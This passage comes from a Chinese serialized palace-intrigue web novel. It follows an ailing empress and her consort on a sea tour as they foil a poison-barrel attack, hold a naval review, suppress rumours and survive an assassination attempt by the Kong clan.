他看到慕容嫣凝望海面的侧影,那墨金色的睡裙在透过舷窗的海光映照下,流淌着一种沉静而内敛的光华,仿佛将大海的深邃都吸纳了进去。 他走到她身边,柔声道:“嫣儿,该喝药了。” 慕容嫣回过神,接过药碗,眉头微蹙地看着那浓黑的药汁,轻叹一声:“这药苦得很。” 语气里带着一丝难得的、如同寻常女子般的抱怨。 林臻在她身边坐下,从袖中取出一个小纸包,打开,里面是几颗蜜饯。 “知道你怕苦,特意让御厨准备的。喝完药含一颗,会好些。” 慕容嫣看着他细致的举动,心中一暖,嘴角微微上扬。 “还是夫君想得周到。” 她屏住呼吸,将汤药一饮而尽,随即迅速取了一颗蜜饯放入口中,甜意驱散了舌尖的苦涩,让她紧蹙的眉头舒展开来。 “感觉如何?海上颠簸,可还适应?”林臻关切地问,伸手替她拢了拢滑落的毯角。 他的指尖不经意间触碰到睡裙柔软的棉质面料,感受到其下她纤细手臂传来的微凉体温。 “还好,比预想的平稳些。”慕容嫣将头轻轻靠在他肩上,感受着那份令人安心的坚实。 “只是这茫茫大海,让人心生敬畏,也觉自身渺小。”她的声音有些飘忽,带着病后初愈的虚弱与感慨。 “但正是这茫茫大海,守护着我圣徽的东疆。”林臻揽住她的肩膀,声音沉稳有力,“我们此来,便是要告诉所有人,这片海,姓慕容,姓林,属于圣徽。” 慕容嫣闭上眼睛,嗯了一声。沉默片刻,她忽然问道:“郑蛟那边,可有新的消息?” 第1029章 东巡 林臻的神色凝重起来:“半个时辰前,快艇回报,在东北方向约五十里处,发现两艘形迹可疑的‘商船’。船体吃水颇深,却未见满载货物应有的稳重,航速时快时慢,似乎在有意无意地靠近我们的航线。郑蛟已加派哨船监视,但对方尚未有异动。” 慕容嫣凤眸微眯,闪过一丝寒光:“看来,有些人已经迫不及待了。” 她坐直身体,毯子从肩头滑落,露出睡裙领口处精致的金线凤纹。 “传令郑蛟,严密监视,但切勿主动挑衅。朕倒要看看,他们想玩什么把戏。” “我已吩咐下去。”林臻点头,眼中同样冷冽,“影一安排的‘夜枭’好手,也已混在护航的水手之中,随时应对不测。” 就在这时,舱门外传来郑蛟沉稳的声音:“陛下,亲王殿下,末将郑蛟有要事禀报。” “进来。”慕容嫣应道,同时示意林臻帮她将毯子重新披好,保持女帝的威仪。 郑蛟推门而入,一身水师将领常服,面色肃然。他行礼后,直接禀告: “陛下,殿下,那两艘可疑船只突然改变航向,加速向东南方向驶去,看似要远离我船队。但末将觉得事有蹊跷,已命两艘蜈蚣快船尾随侦查。” “东南方向?”林臻走到悬挂的海图前,手指划过,“那边岛屿众多,水道复杂,确是藏匿和设伏的好地方。” 他转头看向郑蛟,“让跟踪的船只保持距离,不可深入险地,发现异常即刻回报。” “末将遵命!”郑蛟领命,正要退出,慕容嫣却开口叫住了他。 “郑将军,”她的声音平静,却带着不容置疑的力量,“传令全军,提高戒备,但表面一切如常。朕要看看,他们这招‘欲擒故纵’,究竟能演到几时。” “是!陛下圣明!”郑蛟精神一振,躬身退下。 舱内重归安静,但气氛却明显紧张起来。慕容嫣望向林臻:“夫君,你觉得他们意欲何为?” 林臻沉吟道:“若是直接攻击皇家船队,形同宣战,倭人目前未必有这般胆量。我更担心的是他们或许会采用更阴损的手段,比如伪装成海盗袭击,或者制造意外。” “意外?”慕容嫣冷笑一声,“在朕的东巡路上制造意外?那也得看他们有没有这个本事!” 她虽病体未愈,但此刻眉宇间凝聚的杀气,却让舱内的温度都仿佛降低了几分。 那身神凤降世裙上的暗金凤纹,似乎也随着她情绪的波动而隐隐流动。 林臻握住她的手,发现她的指尖微凉。“无论如何,有我在,绝不会让任何人伤你分毫。” 与此同时,在距离“镇海”号数十里外的那两艘“商船”上,却是另一番景象。 船舱底层,昏暗的油灯下,几名身着劲装、面色阴鸷的男子围坐。 为首的,正是金顺哲的心腹,名叫朴永昌。 “头领,圣徽的船队戒备森严,还有快船跟着我们,不好下手啊。”一个手下担忧地说。 朴永昌眼中闪着凶光,舔了舔干裂的嘴唇:“硬碰硬自然是找死。但别忘了平贞盛先生给我们的‘好东西’。” 他指了指角落几个密封的木桶, “等天黑透了,风向转成东南风,我们就绕到他们的上风处。把这些‘礼物’悄悄撒到海里……嘿嘿,到时候,就算慕容嫣有九条命,也得脱层皮!” “可……可是头领,这东西真的有用吗?而且会不会波及太大?”另一人有些犹豫。 “闭嘴!”朴永昌低喝道,“这是唯一的机会!平贞盛说了,这东西入水即化,无色无味,顺着风和海流飘过去,神不知鬼不觉。等他们发现不对劲,早就晚了!至于波及?成大事者不拘小节!只要能除掉慕容嫣,付出什么代价都值得!” 夜幕,如同巨大的墨色幕布,缓缓笼罩了渤海。 海风渐渐增大,吹动着浪涛,发出哗哗的声响。 “镇海”号上灯火通明,但每盏灯下,都隐藏着警惕的眼睛。 慕容嫣在林臻的坚持下,终于回到内舱卧床休息。 但她睡得并不安稳,海浪的颠簸和潜藏的危险让她时时惊醒。 林臻和衣卧在外间的榻上,长剑就放在手边,任何细微的声响都会让他立刻睁开双眼。 子时将近,风向果然如朴永昌所预料的那般,转成了东南风。 两艘漆黑的“商船”如同鬼魅,借着夜色和岛屿的掩护,悄然绕了一个大圈,试图迂回到皇家船队的上风方向。 然而,他们低估了“夜枭”的能力。 一名潜伏在桅杆顶端的“夜枭”密探,凭借过人的目力,在朦胧的月色下,发现了那两艘试图利用岛屿阴影接近的诡舟。 他立刻用特制的、光线极微弱的灯笼,向负责警戒的蜈蚣快船发出了信号。 消息很快传到了“镇海”号上。值夜的郑蛟立刻敲响了林臻的舱门。 “殿下!有情况!那两艘船趁夜绕到了我们东南方上风处,形迹极为可疑!” 林臻瞬间清醒,眼中睡意全无。他迅速起身,一边整理软甲,一边沉声下令:“命令所有战船,悄悄调整帆向,抢占上风位!通知陛下亲卫,加强戒备,但没有我的命令,绝不可惊扰陛下休息!” 他顿了顿,眼中寒光一闪, “让蜈蚣船靠上去,一旦发现对方有倾倒异物入海等举动,无需警告,立即攻击!” “是!” 命令迅速传达下去。庞大的皇家船队开始如同苏醒的巨兽,在夜海中悄无声息地调整着姿态。 训练有素的水手们操作着船帆,战舰则悄然提速,向东南方插去。 朴永昌站在船头,看着越来越近的、灯火点点的圣徽船队轮廓,脸上露出狰狞的笑容。 他挥手示意手下准备打开那些密封的木桶。 然而,就在这时,侧后方突然传来尖锐的破空声! 数支带着火焰的箭矢,如同流星般划破夜空,精准地射向他们的船舷和风帆! 紧接着,两艘体型不大却异常灵活的蜈蚣快船,如同海中毒蛇般,从黑暗里猛地窜出,船头的弩炮在月光下闪着寒光。 “不好!被发现了!”朴永昌大惊失色,“快!把东西倒进海里!快!” 但已经晚了。 蜈蚣船上的圣徽水兵训练有素,弩炮齐射,目标并非直接击沉船只,而是精准地射向那些正被抬到船舷边的木桶! “砰!砰!”几声闷响,木桶被弩箭射穿,里面浑浊的、带着刺鼻气味的液体流淌出来,却大部分洒在了他们自己的甲板上,只有少量溅入海中。 “撤!快撤!”朴永昌见事败,气急败坏地吼道。 两艘“商船”狼狈地转向,企图借助夜色和复杂水道逃窜。 然而,圣徽的战舰已经占据了有利位置,岂容他们轻易逃脱。 一场小规模的海上追逐与交锋,在暗夜下的渤海海面上骤然展开。 箭矢呼啸,弩炮轰鸣,打破了夜的宁静。 激烈的声响终于惊动了内舱的慕容嫣。 她坐起身,凝神听着外面的动静。 林臻此时已来到她的舱门外,隔着门沉声道:“嫣儿,不必担心,只是几只不开眼的老鼠,郑蛟正在处理。你安心休息。” 慕容嫣听着门外夫君沉稳的声音,心中的一丝不安渐渐平息。 她重新躺下,拉紧身上的绒毯,那神凤降世裙的柔软面料贴着她的肌肤,带来一丝莫名的安慰。 她知道,有林臻在,有忠诚的将士在,这片风浪,还掀不翻她的船。 舱外,海战的声音渐渐远去,那两艘企图制造“意外”的诡舟,在圣徽水师的优势力量下,终是未能得逞,带着伤痕仓皇遁入了黑暗之中。 第1030章 登州蓬莱 经过数日航行,皇家船队终于抵达此次东巡的第一站——登州蓬莱。 连日海上颠簸,加之那夜未遂的袭击带来的紧张,让慕容嫣本就未愈的身体更添了几分疲惫。 船入蓬莱水寨时,她几乎是靠着林臻的搀扶和坚强的意志,才保持着威仪,出现在船头,接受水师将士的山呼朝拜。 蓬莱水寨旌旗招展,大小战舰列阵如林,甲胄鲜明的将士肃立如松,场面恢宏壮观。 然而,慕容嫣苍白的脸色和需要借力才能站稳的姿态,并未逃过一些有心人的眼睛。 消息如同长了翅膀,迅速在登州官场和暗流中传递:“女帝病体沉重,恐难持久。” 入住蓬莱行宫后,慕容嫣便几乎无法起身。 她被安置在临海的一处僻静殿阁内,窗外便是波涛汹涌的大海。 连日劳顿让她旧疾复发,低烧不退,大部分时间都卧于榻上。 那身神凤降世裙成了她最贴身的慰藉,墨金色的柔软苏锦包裹着病体,长长的拖尾在榻边迤逦,因她无力整理而显得格外凌乱,仿佛是她此刻挣扎心绪的外化。 黑金貂皮披肩挂在近处,以备不时之需。 林臻忧心如焚,除了处理必要军务,几乎寸步不离地守在她榻前,亲自侍奉汤药。 御医署的几位圣手轮番诊脉,斟酌用药,殿内终日弥漫着浓重的药香。 “夫君,外面情况如何?”慕容嫣喝下一口苦涩的药汁,微微喘息着问道。她的声音虚弱,但眼神依旧清明,透着对局势的关切。 林臻用丝帕轻轻拭去她唇边的药渍,尽量用平缓的语气回答:“一切安好。郑蛟正在整备水师,三日后如期举行阅兵。登州知府及周边州县官员均已前来请安,我都以你需要静养为由,替你挡了回去。” 他顿了顿,补充道,“只是倭国使团那边,樱花内亲王也递了帖子,称听闻陛下圣体违和,忧心忡忡,请求探视。” 慕容嫣闻言,嘴角勾起一抹冷冽的弧度,因发烧而微红的脸颊更添几分慑人的气势:“忧心忡忡?她是巴不得亲眼确认朕是否病入膏肓吧。” 她闭上眼,深吸一口气,再睁开时,已有了决断,“告诉她,朕偶感风寒,需要静养,不便见客。但三日后的大阅,朕会亲临观礼台。” “嫣儿!”林臻眉头紧锁,“你的身体如何能支撑?” “必须支撑!”慕容嫣的语气斩钉截铁,凤眸中闪烁着不容置疑的光芒,“朕若连阅兵都不露面,岂不正中那些宵小下怀?让他们以为朕已无力掌控大局?咳咳……” 一阵剧烈的咳嗽打断了她的话,她缓了缓,继续道,“夫君,扶朕起来,有些事,必须即刻安排。” 林臻知她心意已决,只能小心地将她扶起,在她身后垫上厚厚的软枕。 慕容嫣靠坐着,虽然气息不稳,但神情却异常专注。她对侍立一旁的內侍吩咐道:“传杜如晦和郑蛟。” 片刻后,留守安州主持政务的宰相杜如晦和负责阅兵事宜的水师都督郑蛟,躬身进入殿内。 见到慕容嫣病容憔悴却强打精神的模样,两人皆是心中一凛,恭敬行礼。 “杜相,朕离京这些时日,朝中可还安稳?”慕容嫣的声音虽轻,却带着无形的压力。 杜如晦连忙上前一步,奏道:“回陛下,朝中政务一切如常,各部司恪尽职守。只是……近日有几位御史联名上奏,言及陛下龙体欠安,东巡劳顿,恐非社稷之福,奏请陛下早日返京静养。” 他小心翼翼地呈上几份奏折。 慕容嫣接过奏折,并未翻阅,只是冷冷一笑:“社稷之福?他们是怕朕死在外面,朝局生变吧?抑或是……有人等不及了,想借此试探风声?” 她的目光扫过杜如晦和郑蛟,两人皆感到一股寒意。 “杜相,将这些奏折留中不发。传朕口谕给那几位御史:朕躬安好,东巡乃固本培元之举,其心可嘉,其言过虑。让他们各安其位,勿复多言。” 她的处理方式,既显示了宽容,又暗含警告,分寸拿捏得恰到好处。 “老臣遵旨。”杜如晦暗暗松了口气,躬身领命。 慕容嫣又将目光转向郑蛟:“郑将军,阅兵事宜准备得如何?” 郑蛟精神一振,朗声禀报:“回陛下,一切均已就绪!大小战舰一百二十艘,精锐水师一万五千人,皆已列阵待命!只待陛下亲临检阅,必扬我圣徽天威!” “好!”慕容嫣赞许地点点头,随即话锋一转,语气变得凝重,“那夜海上之事,调查可有进展?” 郑蛟面色一肃:“禀陛下,根据抓获的几名俘虏零星供词和‘夜枭’密查,基本可断定,那两艘船受倭国商人平贞盛指使,船上所载木桶内,确为一种经由倭国秘法炼制、遇水可缓慢散发毒瘴的药物。其目标正是陛下銮驾。金顺哲残部参与其中,提供情报与掩护。目前,平贞盛已闻风潜逃,不知所踪。” 殿内气氛瞬间凝固。林臻拳头紧握,眼中杀机毕露。慕容嫣却异常平静,只是眸色更深沉了几分。 “果然是他们。”她沉默片刻,缓缓道,“郑蛟,阅兵之后,着你即刻整饬海防。凡沿海要隘、港口、岛屿,增派兵力,严查往来船只,特别是悬挂倭国旗帜或与倭商有染者。另,组建一支快速反应船队,配备强弩火器,专司巡弋近海,遇有可疑,可先行拦截盘查,若遇抵抗,格杀勿论!” “末将遵命!”郑蛟轰然应诺,感到肩头责任重大。 慕容嫣又看向杜如晦:“杜相,回去后,以朕的名义,拟一道措辞严厉的国书,质询倭国朝廷:其国商人平贞盛,勾结我朝逆匪,谋刺朕躬,该当何罪?令其限期缉拿凶犯,押送我朝受审,并严查国内是否有势力参与其中!若逾期不覆或敷衍了事,视同对圣徽宣战!” 她的声音不高,却字字千钧,带着帝王的怒火与不容挑战的威严。 这道国书一旦发出,无异于将两国矛盾摆上了明面。 “老臣……遵旨!”杜如晦心头巨震,知道陛下这是要采取强硬姿态了。 交代完这些,慕容嫣仿佛耗尽了力气,疲惫地靠回软枕,挥了挥手:“你们……先去忙吧。朕乏了。” 杜如晦和郑蛟躬身退出殿外,心中俱是波澜起伏。他们看到了一位病弱却意志如钢的帝王,在生命可能受到威胁时,非但没有退缩,反而以更强势的姿态展开反击。 林臻送走二人,回到榻边,看着慕容嫣紧闭双眼、眉头微蹙的睡颜,心中充满了心疼与敬佩。他轻轻为她掖好被角,手指拂过她睡裙上冰凉的墨玉扳指。 三日后,蓬莱观礼台上,慕容嫣身着隆重的航海礼服,外罩斗篷,在林臻的搀扶下,端坐于华盖之下。 海风猎猎,吹动她的衣袂,她脸色依旧苍白,但腰杆挺得笔直,目光如炬地扫过海面上整齐列队、气势如虹的水师舰队。当战舰破浪前行,炮声隆隆,旌旗蔽空时,她甚至强撑着露出了赞许的微笑。 这一幕,通过无数双眼睛,迅速传遍了登州,也传到了海对岸。女帝抱病阅兵的消息,像一记重锤,敲碎了某些人“女帝将崩”的幻想,也向整个天下宣告:圣徽的女帝,依然牢牢掌控着帝国的航向。 第1031章 流言再起 蓬莱行宫,临海的那间殿阁内,熏香袅袅,药味萦绕。 窗外,海浪拍打礁石的声音隐约可闻,为这静谧的午后添了几分旷远与不安。 慕容嫣阅兵时强撑的精神,在返回行宫后便如潮水般退去,病势反而加重了几分,整日昏沉,时睡时醒。 她卧于榻上,身上依旧只穿着那件作为寝衣的黑金苏锦棉质睡裙——神凤降世裙。 因在病中,殿内门窗紧闭,光线略显昏暗,那极致玄黑的底料仿佛将微弱的光线都吸了进去,更衬得她脸色苍白如纸。 织入金色棉绒与真金线绣成的凤凰纹路,在昏黄的光线下不再耀眼,只流淌着一种沉郁的、仿佛与主人一同休憩的暗金光泽。 宽大的喇叭袖一只软软垂在榻边,袖口繁复的金线刺绣边缘拂过地面,另一只则被她无意识地压在腮下。 她左手拇指上的那枚墨玉扳指,在偶尔动弹时,会与玉枕轻轻相碰,发出细微的脆响。 那长达五丈的苏锦拖尾,此刻在凤榻之下铺陈得一片凌乱。 一部分堆叠在榻脚,皱褶层层;一部分蜿蜒至榻边的地毯上,甚至有几缕滑到了更远处的桌脚旁,沾染了些许尘埃;还有一截,被她辗转反侧时带到了榻沿,悬空垂落着。 这种毫无章法的铺散,并非刻意,全然是病体沉重、无力顾及所致,却更真实地映照出她此刻的脆弱。棉质的柔软贴身,在这病榻之上,成了她唯一感到些许舒适的依靠。 林臻坐在榻边的矮凳上,已经守了整整一夜又半日。 他眼中布满了血丝,下颌冒出了青色的胡茬,却依旧专注地看着慕容嫣沉睡的容颜,时不时伸手探探她的额温,或为她掖好滑落的被角。 那件黑金貂皮披肩,被他从衣架上取下,轻轻盖在慕容嫣胸前的被褥上,以防她骤然起身时受凉。 殿内寂静,只闻慕容嫣略显急促的呼吸声和海浪的轻吟。 忽然,慕容嫣的睫毛颤动了几下,眉头微蹙,似要醒来。林臻立刻倾身向前,低声唤道:“嫣儿?” 慕容嫣缓缓睁开眼,眼神初时有些迷茫,待看清是林臻,眸中才聚起一丝微弱的光彩。 她张了张嘴,声音干涩沙哑:“夫君……什么时辰了?” “申时了。”林臻连忙从温着的玉壶中倒出半杯温水,小心地托起她的头,将水杯递到她唇边,“先喝点水。” 慕容嫣就着他的手,小口啜饮着温水,喉间的干痛稍稍缓解。她重新躺下,目光落在林臻憔悴的脸上,心疼地伸出手,指尖轻轻抚过他的下巴: “夫君,你又守了我一夜?看你,都瘦了。” 林臻握住她微凉的手,贴在自己脸颊上,勉强笑了笑:“我没事。只要你快点好起来,比什么都强。” 他的声音带着浓浓的疲惫,却满是柔情。 “都是我不好……”慕容嫣眼中泛起一丝水汽,带着歉疚和依赖,“若不是我执意要东巡,也不会累你如此操心,还让这病反复。” “别胡说。”林臻打断她,语气坚定,“东巡是国之大事,更是震慑宵小之举。你做得对。只是这病来势汹汹,需得好好将养。” 他顿了顿,声音放得更柔, “等你好了,我们还一起去海边看日出,就像以前在江南时那样。” 听他提起旧事,慕容嫣苍白的脸上露出一抹极淡却真实的笑意,仿佛回忆起了什么美好的时光。她往他身边靠了靠,像寻求温暖的小兽,轻声呢喃: “嗯……等好了,我们一起去,夫君你陪我说话,我睡不着,心里慌。” “好,我陪你。”林臻将她的手握得更紧,开始低声讲述一些琐事,比如行宫庭院里那株石榴花开得正好,或是海鸥在窗外盘旋的趣态,刻意避开朝政军务,只想让她放松心神。 慕容嫣静静地听着,目光落在自己身上那件神凤降世裙的纹路上,忽然轻声问:“夫君,你说这裙子上的凤凰,是不是也累了?所以光泽都暗了。” 林臻顺着她的目光看去,心中酸楚,却温言道:“凤凰只是暂时敛翅歇息,待你康复,它自然会重新展翅,光华更胜往昔。这神凤降世裙,是你的战袍,亦是你的底气,它会护着你的。” 正低声絮语间,殿外传来内侍谨慎的通报声:“陛下,亲王殿下,杜相与郑将军有紧急事务求见。” 林臻眉头一皱,刚想回绝,慕容嫣却轻轻捏了捏他的手:“让他们进来吧,定是要紧事,否则不会此时来扰。” 林臻见她坚持,只得叹口气,为她整理了一下鬓发和被角,又将那黑金貂皮披肩仔细披在她肩上,这才扬声道:“宣。” 杜如晦和郑蛟轻步进入殿内,见到慕容嫣病容憔悴地倚在榻上,而林臻守护在侧,皆是心中一沉,恭敬行礼。 “臣等叩见陛下,亲王殿下。” “平身吧。”慕容嫣的声音依旧虚弱,但已带上了一丝属于帝王的威仪,“何事如此紧急?” 杜如晦上前一步,面色凝重:“启禀陛下,刚接到安州六百里加急奏报。近日,安州及周边州县,流言再起,较之前更为猖獗。有传言说陛下在蓬莱病重,已弥留之际,甚至有妖言惑众者,称天现异象,主星将陨……” 他说到最后,声音愈发低沉,带着惶恐。 慕容嫣闻言,凤眸骤然眯起,虽未动怒,但周身气息瞬间冷冽了几分。她未立刻说话,只是放在锦被上的手,微微收紧。 那神凤降世裙宽大的喇叭袖口,也随之轻轻颤动。 林臻的脸色更是瞬间阴沉如水,眼中杀机迸现:“查!给本王彻查!揪出散播谣言者,无论涉及何人,立斩不赦!” 郑蛟也紧接着奏报,语气急促:“陛下,殿下,水师巡船亦在蓬莱以东海域,发现多艘形迹可疑的快船,似在窥探我水寨动向。末将已加强戒备,但对方行踪诡秘,难以捕捉。” 殿内气氛顿时凝重起来。流言与海上异动同时出现,这绝非巧合。 慕容嫣沉默片刻,忽然一阵剧烈的咳嗽袭来,她忙用袖掩口,咳得肩头颤抖。林臻急忙轻拍她的后背,眼中满是心疼与焦虑。 待咳喘稍平,慕容嫣抬起眼,目光扫过杜如晦和郑蛟,那眼神虽因生病而略显黯淡,却依旧锐利如刀。 她缓缓开口,声音因咳嗽而更加沙哑,却字字清晰: “杜相。” “老臣在。” “拟旨:一,昭告安东都护府全境,朕躬安泰,东巡一切顺利,蓬莱阅兵,彰显国威。胆敢再传谣、信谣、惑乱民心者,以谋逆论处,格杀勿论!二,令安州府衙,即刻抓捕散播流言之首恶,公开处置,以正视听!三,着礼部即刻准备,朕将于蓬莱行宫,接受周边州县官员及耆老朝拜,以示朕安好无恙。” 她的话语条理清晰,虽气力不济,却带着不容置疑的决断。这不仅是应对谣言,更是强有力的反击。 “老臣遵旨!”杜如晦心中震撼,连忙领命。 慕容嫣又看向郑蛟:“郑将军。” “末将在!” “加强蓬莱水寨及周边海域巡防,对任何可疑船只,警告无效者,可先行攻击,不必请示。朕倒要看看,是谁敢在朕的眼皮底下兴风作浪!” “末将遵命!” 交代完这些,慕容嫣仿佛耗尽了力气,疲惫地靠回软枕,挥了挥手:“你们先去办差吧。朕乏了。” 第1032章 孔家反叛 杜如晦和郑蛟躬身退出,心中俱是波涛汹涌。陛下病重至此,思路却依旧如此清晰果决,这份意志力,实在令人敬畏。 殿内重归安静。林臻看着慕容嫣闭目喘息的模样,心疼得无以复加。 他俯下身,在她额上印下轻轻一吻,哑声道:“嫣儿,何苦如此勉强自己?这些事,交给我来处理便是。” 慕容嫣睁开眼,望着他担忧的面容,伸手抚平他紧皱的眉头,柔声道: “夫君,我知道你心疼我。但有些事,必须由朕亲自下令,才能震慑住那些魑魅魍魉。我不能让他们觉得我倒下了。” 她顿了顿,语气带上了一丝撒娇的意味,“不过,接下来真要好好歇歇了,夫君,你陪我,不许走开。” “好,我不走,一直陪着你。”林臻坐上榻边,让她能更舒服地靠在自己身上。 慕容嫣安心地闭上眼睛,喃喃道:“这裙子穿着还是挺舒服的,就是拖尾太长,总是弄乱。” 她的声音渐渐低下去,带着浓浓的睡意。 ...... 蓬莱行宫内的气氛,在慕容嫣强撑病体下达一系列严旨后,显得格外凝重。 对外,圣徽女帝“安泰无恙”、即将接受地方官员朝拜的消息已迅速传开,暂时压制了甚嚣尘上的流言;对内,杜如晦与郑蛟正全力追查谣言源头并加强海防,林臻则寸步不离地守在慕容嫣榻前,期盼着她的病情能有一丝转机。 慕容嫣依旧缠绵病榻,连日的高烧虽稍稍退却,却转为持续的低热和咳嗽,整个人虚弱得连自行坐起都需耗费极大心力。 她身上始终穿着那件墨金色的神凤降世裙,柔软的苏锦棉质面料已被虚汗反复浸透,衬得她身形愈发单薄。 那长达五丈的拖尾,在榻下铺散得更加凌乱不堪,如同她此刻纷杂的心绪与挣扎的体力。 黑金貂皮披肩搭在近处的屏风上,以备夜间起身时御寒。 然而,就在这日下午,杜如晦却带来了一个看似“好消息”。 “陛下,亲王殿下,”杜如晦面带一丝宽慰之色,躬身禀报,“孔文博大人携其长子孔志玄,已从曲阜日夜兼程抵达蓬莱,特来向陛下请安,并呈上孔府秘传的调理方剂数种。孔家世代儒宗,精通医理,尤擅调养元气,或于陛下圣体有益。” 孔文博乃当代衍圣公,孔氏家主,在士林中和朝堂上享有崇高声望。 其突然到访,并献上家传秘药,在外人看来,无疑是雪中送炭,彰显圣徽朝野一心。 林臻闻言,眉头微蹙,心中闪过一丝疑虑。 孔家向来超然,此时突然主动介入,时机未免巧合。 但他见慕容嫣昏沉中听闻“孔府秘药”四字,睫毛微动,似有期盼,便按下疑虑,沉声道:“孔公有心了。宣他们偏殿等候,待御医验过方剂,再行定夺。” “老臣遵命。”杜如晦退下安排。 约莫一个时辰后,杜如晦再次来报,称御医已初步查验孔家所献药丸、药散,皆由名贵滋补药材制成,未见相克或毒性,可酌情试用。 慕容嫣此时恰好清醒片刻,闻此言,虚弱地点了点头:“孔圣后裔,忠心可嘉宣他们进来吧,朕要见见。” 林臻心中虽觉不妥,但见慕容嫣有意勉力一见,以示对儒宗的礼遇,便也未再阻拦,只是暗自提高了警惕。 他小心地将慕容嫣扶起,在她身后垫上厚厚的软枕,又为她拢了拢寝衣的领口,将那件神凤降世裙整理得稍显齐整些,尽管那拖尾依旧无力地垂落榻边,蜿蜒至地。 “夫君,替我披上那件霞帔。”慕容嫣轻声要求,声音细若游丝。 她意指那件叠放在一旁、以玄色为底、用金线绣满云凤纹样的长条状礼服配饰——黑金色霞帔。 此物通常罩在外袍之上,象征身份与威仪。 林臻依言,取过那件华丽庄重的黑金色霞帔,仔细地为其披挂在慕容嫣的肩头,两端长长的帔身自然垂落身前,金线绣成的凤凰在昏暗的光线下流转着沉稳的光泽,为她病弱的容颜增添了几分不容侵犯的威严。 就在这时,内侍引着两人步入殿内。 为首者年约五旬,面容清癯,三缕长须,身着儒衫,气质儒雅,正是衍圣公孔文博。 其身后跟着一位二十出头的青年,眉目与孔文博有几分相似,但眼神略显闪烁,乃是其长子孔志玄。 二人趋步上前,恭敬跪拜:“臣孔文博(孔志玄)叩见陛下,万岁,万岁,万万岁!参见亲王殿下!” “孔公请起。”慕容嫣靠在枕上,微微抬手,声音虚弱却尽量保持平和,“孔公远道而来朕心甚慰。” 孔文博起身,垂首道:“陛下圣体违和,臣等忧心如焚。特献上祖传秘制‘参苓固本丹’与‘安神定魄散’,或可助陛下调理元气,稳固根基。此乃孔家一片赤诚,望陛下准允试用。” 说着,他示意身后的孔志玄捧上一个精致的紫檀木药盒。 林臻目光锐利地扫过药盒,又看向孔家父子,淡淡道:“有劳孔公。御医已验看,本王代陛下谢过。” 他示意内侍接过药盒,却并未立即让慕容嫣服用。 孔文博神色如常,又道:“陛下,此丹服用需以特制药引调和,效果方佳。臣可否近前,为陛下说明用法?” 他语气恳切,合乎情理。 慕容嫣不疑有他,微微颔首:“准。” 孔文博躬身谢恩,缓步上前。孔志玄亦紧随其后。 林臻本能地向前半步,护在榻前,目光紧紧锁定二人。 孔文博行至榻前约三步远处,停下脚步,从袖中取出一个小瓷瓶,正欲开口解说。 异变,就在这一刻陡生! 只见那原本低眉顺目的孔志玄,眼中骤然爆射出骇人的凶光! 他猛地从怀中掏出一柄长约七寸、色泽幽蓝、显然淬有剧毒的短刃,身形如电,竟绕过其父,直扑榻上的慕容嫣! 口中厉声嘶吼:“慕容妖女!受死吧!复我高句丽!” 这一切发生得太快,太过出乎意料! 谁能想到,堂堂圣人后裔,孔家长子,竟是潜伏已久的高句丽余孽! 且选择在此时、此地,行此雷霆刺杀! “护驾!”林臻的反应已是极快,怒吼一声,身形暴起,腰间软剑如毒龙出鞘,直刺孔志玄手腕! 但他距离稍远,孔志玄的匕首已堪堪刺到慕容嫣胸前! 慕容嫣病体沉重,反应不及,眼看毒刃及体! 千钧一发之际,那件刚刚披上的、垂在她身前的黑金色霞帔,成了意外的屏障! 孔志玄的匕首率先刺中了柔软而坚韧的霞帔帔身! 金线绣成的凤凰仿佛发出一声无声的哀鸣,帔帛虽被刺穿,却极大地迟滞了匕首的速度和力道! 就是这电光石火间的阻滞,给了林臻救命的机会! 他的软剑后发先至,“铮”地一声精准挑中了孔志玄的手腕! 血光迸现,短刃“当啷”落地! “拿下!”林臻厉喝,剑势不停,直取孔志玄要害! 殿外侍卫闻声蜂拥而入! 然而,那孔文博见事败,竟面无惧色,反而趁乱猛地将手中那个原本声称是药引的小瓷瓶砸向地面! “砰”地一声,瓷瓶碎裂,一股浓烈刺鼻的腥臭白烟瞬间弥漫开来,迅速笼罩了整个内殿! “烟有毒!屏息!”林臻大惊,第一时间扑到榻前,用衣袖捂住慕容嫣口鼻,同时挥剑驱散烟雾。 殿内顿时一片混乱,视线受阻,咳嗽声四起。待侍卫们驱散毒烟,只见孔志玄已倒在血泊中,气息奄奄,而孔文博却趁乱撞破窗户,意图逃窜! “追!格杀勿论!”林臻双目赤红,声音因愤怒和后怕而颤抖。他紧紧抱着怀中因惊吓和毒烟刺激而剧烈咳嗽、几乎晕厥的慕容嫣,心如刀绞。 第1033章 孔家满门抄斩 慕容嫣伏在他怀中,身体颤抖不止,那件替她挡了一劫的黑金色霞帔已被撕裂,凌乱地搭在她肩上。 她身上那件神凤降世裙的墨金色泽,在惊变过后,更显沉凝,仿佛浸染了血色与背叛的阴影。 长长的拖尾无助地蜷缩在榻下,如同受伤的凤凰尾羽。 “嫣儿!嫣儿你怎么样?”林臻急切地呼唤,检查她是否受伤。 慕容嫣缓过一口气,抬起苍白的脸,凤眸中充满了难以置信的震惊与彻骨的冰寒,她望向窗外孔文博逃跑的方向,一字一顿,声音虽弱,却带着滔天的恨意与杀意: “孔文博,好,一个圣人后裔,好一个儒宗表率,咳咳,传朕旨意,孔氏满门诛绝!” 这场发生在病榻之前的背叛与刺杀,如同惊雷,彻底震动了圣徽朝堂。 衍圣公孔家与高句丽余孽的勾结,其影响之深远,远超一场简单的军事冲突。 ...... 当蓬莱行宫的惊变消息通过六百里加急,如同瘟风般席卷而至时,位于鲁地曲阜的孔府,这座历经千年风雨、被誉为“天下文枢”的府邸,尚且沉浸在一片看似祥和的静谧之中。 飞檐斗拱,古柏森森,琅琅书声依旧从家学中传出,仿佛外界的一切纷争都与这片圣人净土无关。 孔文博的胞弟,孔文简,此刻正坐在府内清俭堂中,翻阅着近日族中田庄的账目。 他年近五旬,性格与其兄长的热衷权势不同,更多是醉心学问,管理族产也以宽厚为本。 他心中虽对兄长突然带着志玄远赴蓬莱感到些许不安,但想着孔家超然的地位,以及此行是去为女帝献药示好,便也未曾深想,只盼他们早日平安归来。 然而,这份宁静在午后被彻底粉碎。 大地开始传来隐隐的震动,起初似远雷,旋即变得清晰可辨,那是无数铁骑奔腾的轰响! 伴随着震耳欲聋的马蹄声,是尖锐的警哨和凄厉的哭喊声从府外街道上传来! “不好了!二老爷!不好了!”一个家仆连滚爬爬地冲进清俭堂,面无人色,声音抖得不成样子,“兵……官兵!好多官兵!把咱们府给围了!说是……说是奉旨抄家!” 